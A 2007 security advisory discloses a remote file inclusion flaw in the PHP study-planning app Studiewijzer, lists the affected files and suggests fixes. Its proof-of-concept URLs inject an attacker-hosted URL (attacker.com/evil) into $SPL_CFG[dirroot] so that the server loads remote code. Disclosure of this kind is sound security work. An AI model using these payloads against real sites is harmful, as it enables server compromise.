ECHO_ADV_77$2007 ----------------------------------------------------------------------------------------- [ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------- Author : M.Hasran Addahroni Date : March, 21th 2007 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv77-K-159-2007.txt Critical Lvl : Dangerous Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Study planner (Studiewijzer) version : <= 0.15 Vendor : http://www.studiewijzer.nl/ http://sourceforge.net/projects/splanner Description : A study planner, helping students to choose and plan the appropriate actions or tasks in order to reach their goals (PHP based) --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ - Invalid include function at inc/service.alert.inc.php : ----------------inc/service.alert.inc.php------------------- <?php /** * Alerting service * * $Author: jebbol $ * $Revision: 1.1 $ * $Date: 2006/08/24 17:33:44 $ * * @copyright Copyright (c) 2005-2006 Studiewijzer.nl * @link http://www.studiewijzer.nl * @license http://www.gnu.org/copyleft/gpl.html */ include_once ($SPL_CFG['dirroot'].'/class/stu.class.php'); ... ---------------------------------------------------------------- Variables $SPL_CFG['dirroot'] is not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. also affected files : inc/settings.ses.php db/mysql/db.inc.php integration/shortstat/configuration.php methodology/traditional/class/ali.class.php methodology/traditional/class/cat.class.php methodology/traditional/ui/inc/cat_browse.inc.php methodology/traditional/ui/inc/chr_browse.inc.php methodology/traditional/ui/inc/chr_display.inc.php methodology/traditional/ui/inc/dash_browse.inc.php ws/spl.webservice.php ws/konfabulator/gateway_admin.php and more .. Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil? http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil? http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil? http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil? Solution: ~~~~~~~ - Sanitize variable $SPL_CFG['dirroot'] on affected file. - Turn off register_globals --------------------------------------------------------------------------- Shoutz: ~~~~~ ~ ping - my dearest wife, and my little son, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments) ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16 ~ newbie_hacker@xxxxxxxxxxxxxxx ~ #aikmel #e-c-h-o @irc.dal.net --------------------------------------------------------------------------- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------